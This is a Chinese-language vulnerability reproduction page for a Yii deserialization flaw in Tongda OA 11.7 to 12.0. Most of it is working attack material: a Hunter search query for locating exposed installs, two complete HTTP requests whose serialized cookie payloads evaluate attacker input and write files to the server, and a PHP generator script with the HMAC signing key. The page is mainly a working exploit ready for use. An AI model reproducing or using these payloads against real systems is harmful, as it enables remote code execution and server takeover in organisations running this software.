通达OA moare存在反序列化漏洞
一、漏洞简介
通达OA是由北京通达信科科技有限公司研发的一款通用型OA产品,涵盖了个人事务、行政办公、流程审批、知识管理、人力资源管理、组织机构管理等企业信息化管理功能。该应用使用的yii框架存在反序列化漏洞,攻击者可以利用该漏洞上传恶意文件,获取服务器权限。
二、影响版本
- 通达OA11.7- 通达OA12.0
三、资产测绘
- hunter
app.name="通达 OA"
- 特征
四、漏洞复现
POC1
通达OA11.7-通达OA12.0
当响应码为500表示存在漏洞
POST /general/appbuilder/web/portal/gateway/moare?a=1 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: zh-CN,zh;q=0.9
Cookie: _COOKIE=8a987cdbe51b7fe8c0efaf47430b18b96a1477de4a08291eef0f7164bd1b5a9cO%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A1%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A8%3A%7Bs%3A32%3A%22%00yii%5Credis%5CConnection%00unixSocket%22%3Bi%3A0%3Bs%3A8%3A%22hostname%22%3Bs%3A13%3A%22www.baidu.com%22%3Bs%3A4%3A%22port%22%3Bs%3A3%3A%22443%22%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A30%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A8%3A%22database%22%3BN%3Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE+CURSOR%22%3B%7Ds%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A32%3A%22yii%5Ccaching%5CExpressionDependency%22%3A2%3A%7Bs%3A10%3A%22expression%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5B%27img%27%5D%29%3B%22%3Bs%3A8%3A%22reusable%22%3Bb%3A0%3B%7Di%3A1%3Bs%3A9%3A%22isChanged%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7D%7D%7D%7D
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
img=file_put_contents("../../shell.txt","hello");
上传文件位置
/general/shell.txt
POC2
通达OA11.7-通达OA11.10
POST /general/appbuilder/web/portal/gateway/? HTTP/1.1
Host: 192.168.31.164
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _GET=788eb9a7d83e5907306c64ea191f2e75d2222b9d0e78fba237a01653585a575bO%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A1%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A5%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE+CURSOR%22%3B%7Ds%3A8%3A%22database%22%3BN%3Bs%3A4%3A%22port%22%3Bi%3A80%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3Bs%3A2%3A%22id%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5B%27img%27%5D%29%3B%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D%7D%7D
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
img=file_put_contents("../../../shell.txt","hello");
上传文件位置
http://192.168.31.164/shell.txt
exp
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess = "assert";
$this->id = "eval(\$_REQUEST['img']);";
}
}
}
namespace yii\base{
use yii\rest\CreateAction;
class Component{
private $_events = [];
public function __construct()
{
$this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "run"]]];
//使用CreateAction的run函数
}
}
}
namespace yii\redis{
use yii\base\Component;
class Connection extends Component{
public $redisCommands;
public $database = null;
public $port = 0;
private $_socket = false;
public function __construct()
{
$this->redisCommands = ["CLOSE CURSOR"];
//绕过__call内判断
$this->database = null;
//正常情况database=0
//要改为null不然在open里面会走进判断,dataTimeout和password本身就为null所以不用设置
$this->port = 80;
//这里需要修改为可以访问的端口,靶机里面80是开放的所以就写80了,按实际情况改
parent::__construct();
//上面说到过Component里面有_events,调用父类构造函数将Component的_events赋值
}
}
}
namespace yii\db{
use yii\redis\Connection;
class DataReader{
private $_statement;
public function __construct()
{
$this->_statement = new Connection();
//调用Connection内的__call方法
}
}
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader = new DataReader();
//去找close方法
}
}
}
namespace {
use yii\db\BatchQueryResult;
$data = serialize(new BatchQueryResult());
$crypt = hash_hmac("sha256",$data,"tdide2",false);
$data = urlencode($data);
$payload = $crypt . $data;
echo $payload;
}